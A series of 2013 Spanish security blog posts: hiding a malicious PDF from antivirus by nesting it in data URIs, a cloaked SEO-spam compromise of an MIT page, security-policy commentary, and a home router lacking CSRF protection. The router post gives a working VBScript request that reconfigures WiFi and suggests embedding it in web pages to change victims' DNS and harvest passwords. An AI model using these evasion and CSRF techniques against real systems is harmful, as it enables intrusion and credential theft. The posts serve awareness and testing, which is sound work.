domingo, 10 de marzo de 2013

Experimentos en DataLand (1)

EL ENTORNO

NOTA: No es mi intención sacar aquí ningún tipo de conclusiones. Simplemente, hice algunas pruebas y los resultados me parecieron interesantes. Repetí varias veces las pruebas, por si acaso, pero no sé si a ti te funcionarán igual. Si decides hacer comprobaciones, me gustaría que compartieras cómo quedó la cosa.

La última vez quizá dejé a alguien con la miel en los labios. Empecé a hablar de Seguridad y, acto seguido, concluí el post. Retomemos el tema.

Como dije, me puse a hacer pruebas con eso de las URI de tipo "data". Si llegaste hasta aquí saltando de enlace en enlace y no sabes qué eso de una "URI de tipo data", te adelanto que es una forma de incrustar dentro de un documento HTML una cosa tal como una imagen o un documento. De guardarla DENTRO del propio documento HTML, no en otro fichero aparte. Repito una vez más las referencias que doy siempre:

http://en.wikipedia.org/wiki/Data_URI_scheme


y, barriendo para casa:

 Para las pruebas utilicé un viejo (¡quién lo habría dicho en su momento!) pero aún solvente equipo con CPU Core(TM)2Duo T9300 y 4 GB de RAM, Windows Vista Business Service Pack 2 y Microsoft Security Essentials actualizado. En él tengo instalado VirtualBox y un BackTrack virtualizado que se come 512 MB de RAM y con el que suelo hacerle puñeterías a otras máquinas virtuales.

Y hoy, quizá, también  a la máquina real.

En el BackTrack, cuya IP de hoy es 192.168.27.100, tengo un fichero “con premio”. Un PDF malicioso que, como pude comprobar, es detectado por el antivirus.



ENDATANDO EL FICHERO

Para jugar con él, creé un fichero HTML que le referenciara. Le puse de nombre “capa1.htm” y su contenido quedó así:
<object height="100%" width="100%" data="malicioso.pdf" type="application/pdf"

Entonces, realicé la conversión mediante un comando como
$ ruby poc.rb /var/www/capa1.htm /var/www/prueba1.htm


El resultado, “prueba1.htm”, contiene dentro los datos del PDF codificados en una URI de tipo data:



Pero no me conformé con convertir una sola vez a “data”. Así que creé otro fichero, “capa2.html” con un iframe para contener a “capa1.htm”:
<iframe src="capa1.htm" width="100%" height="100%"></iframe>

Y lo convertí también con:
$ ruby poc.rb /var/www/capa2.htm /var/www/prueba2.htm

El programa “poc.rb” realiza la conversión de forma recursiva, de modo que ahora tenemos el documento PDF pasado a "data" e incrustado en un objeto y todo eso lo vuelto a convertir a "data".

Pero con dos iteraciones tampoco me pareció suficiente e hice otro documento HTML que incrustara a “capa2.htm” y lo llamé “capa3.htm”:
<iframe src="capa1.htm" width="100%" height="100%"></iframe>

Y un “capa4.htm” que incluyera a “capa3.htm”... y así hasta “capa10.htm”, que incluye una referencia a "capa9.htm". Y a todos ellos los pasé por mi “prueba de concepto”. El último, "prueba10.htm" contiene el PDF pasado 10 veces por el procedimiento de conversión a "data". Suficiente por ahora.

¡A JUGAR!

Quería tener los diez ficheros obtenidos así como el documento PDF original en el PC. Así que desactivé momentáneamente la protección en tiempo real del antivirus...



… y me los descargué a una carpeta:



… para a continuación pasarle un análisis en busca de amenazas. "A ver qué me encuentra el Security Essentials":



… Y no tardó en cantar:



Pero cuando terminó y me preocupé por ver en qué ficheros había detectado los problemas...



… ¡sólo en dos de ellos! En el PDF original y en el HTML para el que sólo había realizado la conversión a data una única vez. A pesar de que le había dicho al antivirus que eliminara el "virus", seguía teniéndolo nueve veces en mi sistema.

CONCLUSIONES

Reactivé la protección en tiempo real, que aunque no sea suficiente para garantizar nada por sí sola  (diría un matemático que es "condición necesaria, pero no suficiente"), siempre algo ayuda y me quedé pensando...

En realidad, no tengo del todo claro hasta qué punto sería bueno o malo que un antivirus mirara los documentos codificados como "data" en busca de documentos codificados como "data", en busca de documentos codificados como "data", en busca de documentos codificados como "data", en busca de...

Si lo hiciera, quizá habría malware que, para evitar ser detectado, llenaría carpetas de ficheros con documentos codificados como "data" de forma iterativa cien o doscientas veces. Señuelos con que entretener un buen rato al antivirus mientras "uno hace su trabajo".

Pero, por otro lado, si yo fuera un %#”!~@@!!! de esos que hay por ahí, podría pensar en utilizar esto para muchas cosas. Aparte de ocultar una copia de mi malware, o de otros elementos maliciosos, de forma que no lo encuentren, claro.

Cosas como alojar contenidos no autorizados en los sistemas de almacenamiento corporativos o en servidores webs ajenos. O compartir en redes P2P cosas que no quiero que sean detectadas fácilmente por sistemas automáticos de control.

O, en un caso de robo y fuga de información confidencial, para tratar de enviar un archivo sin ser detectado, codificándolo varias veces a “data” y poniéndolo como destino de un hiperenlace en un correo redactado en formato HTML.

O... ¿Se te ocurre alguna cosa más? Alguna, seguro que sí.

Y... ¿Has probado tus sistemas de protección a ver si detectan cosas como éstas?

La próxima vez os cuento algunas pruebas más que hice.

jueves, 7 de marzo de 2013

El Ruby Mola

Hace tiempo que tengo descuidado este blog. Demasiado.

Pero ha sido por una buena razón. Todo empezó cuando me puse a hacer “limpieza de papeles”. De vez en cuando es bueno mirar qué tiene uno y tirar todos los papeles inútiles que ha ido uno acumulando. Tickets de haber comprado un refresco en el super, folletos de propaganda, documentos secretos que después vas buscando como loco cuando te vuelven a hacer falta...

Y en eso estaba yo cuando me encontré un viejo bloc de notas. Lo abrí y...¡allí estaban! Las notas que fui tomando cuando empecé a aprender a programar en Ruby. ¡Qué recuerdos!

Una cosa de la que me dí cuenta inmediatamente fue que muchas de aquellas cosas las había olvidado y vuelto a descubrir varias veces. Así que decidí crear una página web en Internet e ir poniendo en ella aquello que me parecía más relevante. De ese modo, tarde o temprano, terminaría copiando todo lo que había escrito en mi bloc y podría tirarlo tranquilamente.

Aunque la página web estuviera hecha especialmente para mí, si a alguien más puede valerle... mejor que mejor. Así que decidí darle un enfoque medio didáctico en el que se fueran completando pasos para llegar a un objetivo establecido desde el principio.

El objetivo consistía en crear un analizador de código HTML. Y poco a poco fue saliendo. Cuando estuvo listo, quise hacer algo que entroncara con este blog y me acordé de las URIs de tipo “data:” y cómo las utilicé en su día para realizar ataques de Cross Site Scripting contra webmails basados en RoundCube. De ese tema escribí por aquí y, con más detalle, en "Un informático en el lado del mal" .

Así que utilicé el analizador de HTML para crear un programa que convierte en URIs de tipo “data” las referencias externas de una página web: sus imágenes, sus scripts, sus hojas de estilo en cascada, sus objetos,...

En lo que se tarda en parpadear me pondré a escribir un post sobre cómo se puede aprovechar una herramienta de este tipo para evaluar la seguridad de un equipo y de algunos programas. Porque casi todas las herramientas sirven para más de una cosa. Y supongo que habrá a quien no haya que decirle mucho más para que se vaya haciendo una idea...

Mientras tanto, hago los honores y, aunque le queden cosas por pulir, presento mi blog de Ruby en sociedad. Creo que ya puede empezar a ser útil. Ahí va el enlace:
El Ruby Mola

… y el índice del proyecto de analizador de HTML.
Analizador HTML

jueves, 21 de febrero de 2013

Hay cosas que no puedes comprar

Una al día es una fuente indispensable de información para quienes, como es mi caso, se interesan por eso de la Seguridad de la Información. Porque encontrarse cada día con una noticia de interés no es moco de pavo.

Últimamente las noticias hablan mucho de Java. Posiblemente sea lo que toca este año. Y una de ellas cuenta una historia cuanto menos curiosa: Facebook, Twitter y Apple sufrieron fueron "atacados". Equipos de sus redes internas fueron infectados con malware. Y la culpa, dicen, parece ser... de Java.

¿Cómo? Bueno, se supone que estas compañías cuentan con sistemas de seguridad que impiden que nada "entre" en sus sistemas. ¿Verdad?

Sí, verdad. Pero si la montaña no viene... habrá que acercarse uno.

En primer lugar, los ciberdelincuentes conocían una vulnerabilidad de Java y crearon un código mailicioso que se aprovechaba de ella. Después buscaron páginas web a las que la gente de Facebook, Twitter y Apple se conectaban habitualmente y las analizaron para ver si alguna era vulnerable.

Finalmente, infectaron las páginas web vulnerables y les introdujeron el código malicioso que tenían preparado. Y cuando la gente las visitaba... se infectaba. El malware no entraba desde fuera. Eran los propios usuarios quienes, al visitar las webs vulneradas y sin saberlo, "salían a recogerlo".

Se combinan así dos tendencias en esto de la seguridad: el ataque a los puestos clientes y el "envenenamiento de pozos".

Con todo, lo que más me llamó la atención de la noticia fue una frase que decía: "Facebook se apresura a admitir que sus sistemas estaban completamente actualizados y que contaban con un antivirus". Porque mientras nos quedemos ahí, la batalla estará perdida.

Hay una frase que se repite mucho: "La Seguridad no es un producto; es un proceso". No puedes comprar la seguridad. No se puede conseguir a base de instalar o poner en marcha herramientas. No puedes pagar a nadie para que te la proporcione. La verdadera base de la Seguridad consiste en determinar tus objetivos, establecer qué actuaciones debes llevar a cabo, realizarlas, evaluar los resultados obtenidos,... y volver a empezar.

Seguridad tiene más que ver con Altos Mandos, Jefazos, que se implican y establecen políticas acertadas, las ponen en marcha. Con que todo el mundo sabe lo que tiene que hacer y lo hace. Con que los resultados se miden...

Mucho más que con un hacker que explota una vulnerabilidad.

Y por eso, en estos tiempos en los que todo el mundo piensa en soluciones basadas en la nube y en externalizar, puedes comprar herramientas y ponerlas en funcionamiento. Puedes contratar a empresas, a partners que te ayuden en aquello que tú no dominas. Puedes subcontratar algunas actividades. Puedes hacer mil cosas.

Pero hay dos cosas que no puedes hacer. Una es pensar que eso de la Seguridad es sólo un problema informático. Y la otra, dejar en manos de terceros lo que realmente es importante: el enfoque estratégico y global. Creo que si alguien te intenta convencer de lo contrario, no te vende "la nube".

Te vende humo.

miércoles, 20 de febrero de 2013

Seguridad subjetiva

Hoy no tenía pensado poner nada nuevo en este blog. De hecho, llevo cosa de un mes sin hacerlo porque últimamente estoy dedicando mi poco tiempo libre a un "proyecto paralelo". Ya os daré noticias.

Pero he visto un par de noticias de aquellas que hacen pensar.

La primera es la polémica que se ha levantado en el Reino Unido por un juguete:
http://es.noticias.yahoo.com/set-playmobil-representa-atraco-banco-desata-polemica-104345591.html

Resumiendo: hay un paquete de los Clics de Playmobil para "jugar a los bancos" que, entre otras cosas, trae su atracador con pistola y todo.

Aunque nunca me gustaron los juegos de armas, por mi edad, me crié en una época en que jugábamos a policía y ladrones sin que eso supusiera un problema. Los Clics piratas, en su barco, atacaban al Castillo. Los Geyperman y Madelman realizaban acciones de comando...

Quizá aquello fuera demasiado. E inadecuado. Pero creo que estamos sobrepasando el punto a partir del que las medidas son contraproducentes.

Demasiada sobreprotección. Bruce Schneier en uno de sus artículos explicaba como la sobreprotección es mala para la seguridad. Y ponía como ejemplo los parques infantiles. En mi época, el suelo era de gravilla y si te caías te arañabas entero. Hoy son blanditos (al menos por donde yo vivo) y amortiguan los golpes. Como consecuencia, las generaciones más jóvenes, al no haberlo vivido, aprenden a desestimar el riesgo.

El riesgo ya es de por sí difícil de evaluar como para poder permitirnos el lujo de desconocerlo. Concluía Bruce Schneier señalando que esto haría que las personas jóvenes asumieran los riesgos con una naturalidad que puede terminar siendo peligrosa. 

Y, si nos fijamos en las atracciones de feria, algo de razón tiene. Cada vez se piden sensaciones más extremas.

Con todo, lo que más me llamó la atención de la noticia anterior fue un enlace que encontré en ella:
http://es.noticias.yahoo.com/blogs/gaceta-trotamundos/una-ni%C3%B1a-cinco-a%C3%B1os-expulsada-por-terrorista-su-144039104.html

Expulsan del colegio por terrorista a una niña de CINCO AÑOS que había invitado a sus compañeros a dispararse unos a otros con UNA PISTOLA DE POMPAS DE JABÓN DE HELLO KITTY.

¿Gracioso? No para la familia. La niña fue expulsada y ahora tiene una mancha en su historial que hace que ningún colegio quiera admitirla.

Estamos en una época en que, bajo la bandera de la protección antiterrorista se están tomando medidas que puede que parezcan destinadas a mejorar nuestra seguridad, pero que, en muchos casos, claramente no pasan de ser meros aparatos formales, simples maniobras de distracción que no aportan ni un grano de arena a la verdadera seguridad pero (como algo había que hacer) simulan hacerlo.

Porque parten de decisiones estratégicas mal tomadas. O de decisiones que, debiendo ser tomadas con carácter estratégico, se toman con el corto plazo en mente o, peor aún, a remolque de los hechos que se van produciendo.

Y es preocupante como puede afectar eso a nuestras libertades y derechos,

viernes, 1 de febrero de 2013

Cómo no se deben hacer las cosas (2): Jugando al escondite con un webmaster

Este es el segundo de una serie de posts. En el primero se mostró como una página había caído víctima de unos ciberdelincuentes que la habían utilizado para promocionar una web que decía vender programas.

Vale. ¿Y qué? Que una web sea modificada de forma autorizada no es nada nuevo. Ni siquiera los expertos en seguridad están libres de este riesgo. O incluso lo están menos que otros porque son un objetivo llamativo. No es de extrañar que gente tan reconocida en este mundillo como John Strand, de Paul Dot Com, pidan disculpas por adelantado, por si acaso y para cuando ocurra... lo que parece inevitable.

Ni tampoco son nuevas las técnicas de promoción de sitios web en buscadores utilizando técnicas ilegítimas o ilegales. Por darme autobombo, ya hace tiempo que mi amigo Chema Alonso y yo escribimos al respecto en Técnicas SEO para gente de moral relajada, o que hablé sobre el tema en una charla o que le dediqué un capítulo de un libro sobre buscadores. Y en su momento hice una herramienta para detectar precisamente este tipo de comportamientos y la íbamos a presentar en la Open Source World Conference de 2010 en Málaga.

Sí, esa que al final no llegó a celebrarse por falta de dinero.

Bueno, vamos a ir dejándonos de "anuncios". Entonces... ¿A qué repetirme otra vez aquí?

En esto, como en tantas otras situaciones, lo malo no es tanto que te la peguen como no darte cuenta. O no querer darte cuenta. O no hacer lo posible por darte cuenta. O... Sigamos con la historia...

En casos como éste, en que el problema es notorio y está registrado en Google, entiendo que lo más apropiado es tratar de contactar con el webmaster y contarle lo que uno ha visto. En casos como éste, digo, porque hay otros en los que lo más seguro para uno es callarse o comunicar la noticia a través de intermediarios. Que no se quieren para nada los problemas legales.

Así que me fui a la página de "contacta con nosotros":


Perfecto. Una dirección postal, por si quiero enviarles una carta, y una lista de distribución. ¿Acaso debería pegarle un sello a un sobre y esperarme a que llegue mi misiva? ¿o es preferible mandar la información a la lista y que todo bicho viviente que esté registrado en ella lo sepa?

Pues, esto último... ni aunque creyera yo que es lo correcto. Porque el enlace no furula:



Fallo número 1. Si tienes un sitio web, ten siempre una forma de contacto ágil para que te puedan contar estas cosas y no te conviertas así en el último en enterarte. Como aquel al que...

Para tener la conciencia tranquila, mandé el correo al webmaster de www.mit.edu. Algo tendrá que ver con este dominio, espero. Después pensé "seguro que en algún sitio hay otro dato de contacto" y navegué un poco por la web. Y me fui dando cuenta de lo poco actualizada que estaba


Desde finales del 2011 no había nada nuevo. Ummmmm....

Fallo número 2. Si no necesitas ya un sitio web, no lo mantengas operativo.

Cada cosa que pones aumenta tu superficie de exposición, haciéndote más vulnerable y complicándote la vida un poco más. Por no hablar de los costes que pudiera suponer.

Aunque, a lo mejor, sí que lo necesitan. Quizá sea un repositorio de documentación interesante. Como no veía nada por fuera que me fuera determinante, decidí echar un vistazo al código fuente y...


¡Jommla 1.5! ¡Pero si eso ya va por la versión 2.5.8 (recomendada por los de Joomla para uso general) y 3.0.2 (para los valientes)?

Fallo número 3. Si tienes un sitio porque lo necesitas, mantenlo actualizado.

Vamos a ver: no se trata de que las versiones más modernas no tengan vulnerabilidades. Donde radica la verdadera diferencia entre la úlima versión y las versiones antiguas es en que las vulnerabilidades de éstas últimas son muy, pero que muy, conocidas. Y hasta en las webs de numismática se las encuentra uno a veces explicadas.

Teníamos una página web que se comportaba de tres formas diferentes. De forma similar, los tres fallos que hemos encontrado se pueden resumir en uno: no pongas en marcha nada que no seas capaz de mantener en el futuro y gestiónalo de forma integral y responsable.

O, lo que es lo mismo, no caigas en la "trampa del elemento facilitador". No instales nada simplemente porque puedes hacerlo y es gratis. Primero porque, al final, nada es gratis. Y después porque si no estás en condiciones de poner encima de la mesa los medios económicos, organizativos, técnicos y de cualquier otro tipo... al final algo saldrá mal.

Y, cuando pase, mejor será que te enteres pronto y le pongas solución.

Resumiendo y utilizando las expresiones de otros: "no instales sistemas por encima de tus posibilidades".

A estas alturas, me hago una idea sobre cómo consiguieron hacerle la fechoría a la página. Quizá algún día tenga ocasión de contarlo.

Quizá. Así que... (continuará)

jueves, 31 de enero de 2013

Cómo no se deben hacer las cosas (1): Barato lo llevo, oigaaa

Cuando uno se pone a mirar, a veces ve cosas llamativas. Algunas de ellas son tan típicas, tan... paradigmáticas, que creo que podrían servir de ejemplo para todo el mundo. Y hace unos días me encontré con una de ellas.

No sé cómo, pero me encontré intentando ver si el MIT (Massachusetts Institute of Technology) vendía software barato. Quizá parezca que soy raro, pero mis razones tenía. Así que fui a Google y puse:

 site:mit.edu "cheap autocad"



 Me salieron unos cuantos resultados. Así que, por probar, hice clic en el primero de ellos y...



 Como se puede ver en la imagen, no terminé en el MIT. En su lugar, fui redirigido a una página muuuuuuy rarita. ¿Que cómo? Pues, analizando la respuesta del servidor, me encontré con las siguientes cabeceras HTTP:



Status=Moved Temporarily - 302
Date=Tue, 29 Jan 2013 16:02:09 GMT
Server=Apache
P3P=CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Content-Encoding=gzip
Vary=Accept-Encoding
Location=http://uzsrodghwira.jet-software.net/browse/search/?q=autocad+architecture
Scripts-IP=18.181.0.46
Keep-Alive=timeout=15, max=1000
Connection=Keep-Alive
Transfer-Encoding=chunked
Content-Type=text/html


Bueno, una redirección HTTP 302, "Movido Temporalmente" a un sitio extraño. OK, ese servidor hacía cosas bastante extravagantes. Pero había más.

Por lo visto hasta ahora, a esa web del MIT le han calzado uno del 48. Alguien se les había colado y les había metido cosas feas. Pero supongamos que yo me doy cuenta y aviso al administrador del sitio. Supongamos que le envío un correo y le digo que la dirección http://ceer.mit.edu/?sc=7222 lleva a una tienda posiblemente ilegal de software.

Y supongamos que quien recibe mi mensaje prueba y pone en la barra de direcciones de su navegador la URL que le doy. Entonces, le aparacerá esto:





¡Ahora resulta que esa URL lleva a la página principal del sitio! El administrador posiblemente pensará "¡qué poca gracia tenía esta broma!" o "¡la gente ya no sabe ni lo que visita!" y se olvidará del tema.

En esta ocasión, las cabeceras HTTP de la respuesta indican que también ha existido redirección, pero no a otra web:


Status=Moved Temporarily - 302
Date=Tue, 29 Jan 2013 16:06:20 GMT
Server=Apache
P3P=CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Content-Encoding=gzip
Vary=Accept-Encoding
Set-Cookie=8519503dbe949327cf1a7a153cc6f9ec=d0d26ddbbc41fd742852af53c3852a28; path=/
Location=/
Scripts-IP=18.181.0.46
Keep-Alive=timeout=15, max=1000
Connection=Keep-Alive
Transfer-Encoding=chunked
Content-Type=text/html


Simpático ¿verdad? El tipo maluto tenía su truco. Su "regalo" mira las cabeceras HTTP de las peticiones y, en particular, la del "Referer". Cuando uno sigue un enlace, el sitio web de destino recibe en esta cabecera la URL del documento desde el que surgió la petición. Y el script malicioso, sabiendo esto, unicamente redirige al visitante a su "tienda" cuando aquel viene desde Google, o quizá también desde algunos otros buscadores.

Pero había más. Porque en la primera imagen se puede ver cómo percibe Google el documento de la URL que nos trae de cabeza. Y no se parece ni a la tienda ni a la página de inicio del sitio. Google ve otra cosa diferente. Quizá tenga que ver con la cabecera HTTP "User-Agent", que identifica al navegador con el que se realizan las peticiones. Muchas veces, así ocurre.

Google tiene un programilla llamado "GoogleBot" con el que va rastreando páginas web. Y tiene su propio "User-Agent". Podemos saber cuál es consultando la versión en cache de Google de algunas páginas de esas de "mira qué User-Agent tienes". Probando con una de ellas:


¡Ahí está! Ahora, cogiendo el Firefox con la extensión "Tamper Data" podemos volver a pedir nuestra página camaleónica y cambiar el valor del User-Agent para utilizar el de GoogleBot.


... Y ¡Bingo! La tercera versión de la página:


Así, que esta gente le da a cada uno lo que busca. En este caso, a Google, un galimatías de palabras pero que tienen varias veces eso de "cheap" y algunos nombres de programas

 ¡Con tal de hacer caja!

Por supuesto, quise notificar todo esto al webmaster del sitio. Pero...
(continuará)








jueves, 17 de enero de 2013

El CSRF del router

Este post está basado en hechos reales. Sin embargo, y para no ponerle las cosas más fáciles de la
cuenta a nadie, se han modificado algunos detalles. Como alguna captura de pantalla muy retocada,
alguna URL o algunas circunstancias.

Lo demás, todo cierto.

Estaba yo de visita en casa de un amigo. Casi me iba ya, cuando vi que encendía su ordenador.
Ese es el momento que todo informático teme. Ya que estás aquí, por qué no miras esto y...

Dubitativo, le pregunté qué pasaba mientras me acercaba como quien no hace la cosa a la puerta de
salida.

Pero su respuesta me tranquilizó. Estaba arrancando la máquina para conectarse al router y activar la
red WIFI.

- ¿No sabes que tu router tiene un botón para hacer eso? - le pregunté sin poder evitarlo. Y,
mientras lo hacía, trataba de conseguir volver a tragarme las palabras para que nadie las oyera.

- Es que el botón está roto.

Claro, eso lo explicaba todo. Mientras tenía lugar este diálogo de besugos, mi amigo ya se había
identificado con su usuario y contraseña y navegaba por las páginas de configuración del router. No
pude evitarlo. Vi la URL. Y era algo similar a:

http://192.168.0.1/wifi.htm

Y la pantalla se parecía bastante a esto:




Volviendo a la URL... Protocolo http. No cifrado. Buenoooooo... Mi cabeza se puso a darle vueltas. Si el router tiene un fallo tan obvio, quizá tenga más cosas. Por ejemplo...

- Oye - le dije - quizá pueda hacerte un apaño para que haciendo clic en un icono del escritorio se
active y desactive la wifi. Así te sería mucho más cómodo.

- ¿Podrías?

- Creo que sí. ¿Nos invitas a merendar?

Si a alguien le parece que una merienda es poco por un trabajo como éste, es que no conoce cómo nos
las gastamos en mi familia.

- Vale - respondió él.

Y me hice con el teclado y el ratón.

- ¿Tienes Java instalado? - le pregunté de camino.

- ¿Ja qué?

Suficiente. Miré el panel de control y lo tenía. De modo que me descargué un programa llamado
WebScarab. En pocas palabras, un proxy que se puede utilizar para analizar el comportamiento de las
aplicaciones web, interceptar y modificar el tráfico y cosas de este tipo. Tiene la ventaja de no
precisar instalación y de poder ejecutarse en casi cualquier plataforma. Eso sí, está desarrollado en
Java. Lo puedes ver y conseguir en:

https://www.owasp.org/index.php/Category:OWASP_WebScarab_Project

Buena gente, esta de OWASP.

Lancé WebScarab, configuré el proxy en el navegador y activé la wifi usando la interfaz web. Después
utilicé las capturas realizadas por WebScarab para ver la petición http realizada. Sí, seguía siendo
HTTP, no HTTPS. Os la copio:
-----------
POST http://192.168.0.1:80/wifi2.htm HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://192.168.0.1/wifi.htm
Accept-Language: es
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: 192.168.0.1
Content-length: 333
Proxy-Connection: Keep-Alive
Pragma: no-cache
Authorization: Basic YWRtaW46c295ZWxtZWpvcg==

wlEnbl_1=1&wlChannel=0&wlchannelcheck=&wlNBwCap=1&wlNCtrlsb=1&wlFltMacMode=disabled&wlSsid_1=estenoes
elSSID&wlHide_1=1&wlAuthMode_1=psk2&wlWep_1=enabled&wlKeyIndex=1&wlKeyBit=0&wlKey1=&wlKey2=&wlKey3=&w
lKey4=&wlWpa_1=tkip%
2Baes&wlWpaPsk_1=estanoeslapass&wlMACAddrList=&iExpert=1&sSuccessPage=valid_wifi.htm&sErrorPage=confi
g_wifi.htm
------------------

Una petición POST realizada sobre HTTP en la que destacaban algunos de los parámetros pasados. Cosas
como:
wlSsid_1=estenoeselSSID
wlWpaPsk_1=estanoeslapass

O sea, estos datos van "en claro" sobre la red. Bien.

Y antes había otra cosa llamativa:

Authorization: Basic YWRtaW46c295ZWxtZWpvcg==

Eso de YWRtaW46c295ZWxtZWpvcg== suena a Base64. Utilizando un programa que decodifica Base64 (hay muchas páginas web online que te hacen este trabajo) tuve la cadena que representa en un segundo:



- Estooooo - pregunté - para acceder al router no utilizarás como usuario "admin" y contraseña "soyelmejor". ¿Verdad?

- Sí. ¡Vaya! ¿Cómo lo has sabido?

- No. Nada. Cosas mías. ¿La contraseña la pusiste tú?

- No. Venía de fábrica.

Típico. Si viene de fábrica... ¿por qué cambiarlo? ¿quién soy yo para cambiar lo que el fabricante,
que es quien mejor conoce su producto, puso?

Así que también van "en claro" por la red el usuario y la contraseña de acceso a la configuración del
router. Sin más protección que una codificación en Base64, decodificable de forma instantánea. Bueno
es saberlo.

Y, lo mejor. No se veía ningún tipo de protección anti-CSRF (Cross Site Request Forgery). Eso del
CSRF es algo a lo que no se le presta la debida atención. Supón que estás logado en una red social,
pero hace rato que dejaste de navegar por ella. Visitas ahora una página web que te han recomendado,
pero que es más malvada que el Sauron ese. Y la página tiene una imagen cuya URL es la que visitarías
para hacer un "qué chula es esta página" en tu red social.

El resultado sería que, sin saberlo tú, a efectos de la red social, has hecho el "qué chula es esta
página".

Armado con todo esto, escribí un par de scripts en Visual Basic Script. Uno para encender la Wifi:
------
params="wlEnbl_1=1&wlChannel=0&wlchannelcheck=&wlNBwCap=1&wlNCtrlsb=1&wlFltMacMode=disabled&wlSsid_1=
estenoeselssid&wlHide_1=1&wlAuthMode_1=psk2&wlWep_1=enabled&wlKeyIndex=1&wlKeyBit=0&wlKey1=&wlKey2=&w
lKey3=&wlKey4=&wlWpa_1=tkip%
2Baes&wlWpaPsk_1=estanoeslapass&iExpert=1&sSuccessPage=valid_wifi.htm&sErrorPage=config_wifi.htm"

Set http = CreateObject("Microsoft.XmlHttp")
http.open "POST", "http://192.168.0.1/wifi2.htm", FALSE
http.setRequestHeader "Content-type", "application/x-www-form-urlencoded"
http.setRequestHeader "Content-length", len(params)
http.setRequestHeader "Referer","http://192.168.0.1/wifi.htm"
http.setRequestHeader "Authorization","Basic YWRtaW46c295ZWxtZWpvcg=="
http.setRequestHeader "Connection", "close"
http.send params
------
... y otro para apagarla:
------
params="wlEnbl_1=0&wlChannel=0&wlchannelcheck=&wlNBwCap=1&wlNCtrlsb=1&wlFltMacMode=disabled&wlSsid_1=
estenoeselssid&wlHide_1=1&wlAuthMode_1=psk2&wlWep_1=enabled&wlKeyIndex=1&wlKeyBit=0&wlKey1=&wlKey2=&w
lKey3=&wlKey4=&wlWpa_1=tkip%
2Baes&wlWpaPsk_1=estanoeslapass&iExpert=1&sSuccessPage=valid_wifi.htm&sErrorPage=config_wifi.htm"

Set http = CreateObject("Microsoft.XmlHttp")
http.open "POST", "http://192.168.0.1/wifi2.htm", FALSE
http.setRequestHeader "Content-type", "application/x-www-form-urlencoded"
http.setRequestHeader "Content-length", len(params)
http.setRequestHeader "Referer","http://192.168.0.1/wifi.htm"
http.setRequestHeader "Authorization","Basic YWRtaW46c295ZWxtZWpvcg=="
http.setRequestHeader "Connection", "close"
http.send params
------
Por temas de espacio y ajustes de texto, la primera línea aparece cortada en varias. Iría desde "params=" hasta la línea en blanco.

Los guardé en una carpeta poco visible y creé los accesos directos en el escritorio.

Mi amigo, más contento que unas Pascuas. Y, nosotros, tras la merienda, satisfechos.

Antes de irme, me apunté la marca y el modelo de router y otros datos de la etiqueta. Quiero echar un
vistazo a ver si esto del CSRF está ya solucionado por el fabricante y hay alguna actualización del
firmware que lo arregle. En caso contrario, pues habrá que decírselo y ver qué hacen. Ya os cuento.

Y, mientras tanto, sigo dándole vueltas. Ponte en el papel de un delincuente "moderno". El código
Visual Basic Script anterior puede embeberse en una página e Internet Explorer lo reconocería y lo
ejecuaría. Y pasarlo a JavaScript, que es universalmente reconocido, es tarea trivial. De ese modo funcionaría también con Safari, Firefox, Chrome,...

Ahora consigues que la gente visite tu página web que incluye este script. O alguna que hayas vulnerado y le hayas calzado el script. O alguna vulnerable a Cross Site Scripting. O...

El resultado es que quienes tengan un router como el de mi amigo (que es bastante común) y no haya
cambiado la contraseña que traía de fábrica (lo que también es bastante común) estarán, sin saberlo,
reconfigurando la wifi de su router. Apagándola, encendiéndola, cambiando su SSID o su contraseña,
etc.

Pero no sólo la wifi. ¿Y si le cambiáramos los DNS? Podríamos redirigir a la gente a donde
quisiéramos. Que cuando ponga www.google.com, www.gmail.com o www.facebook.com le damos la IP de una de nuestras webs. Quizá una parecida a la original pero que nos guarde en algún sitio las cuentas de usuario y las contraseñas. Ya sabes. Por eso de las "copias de seguridad".

Por ideas...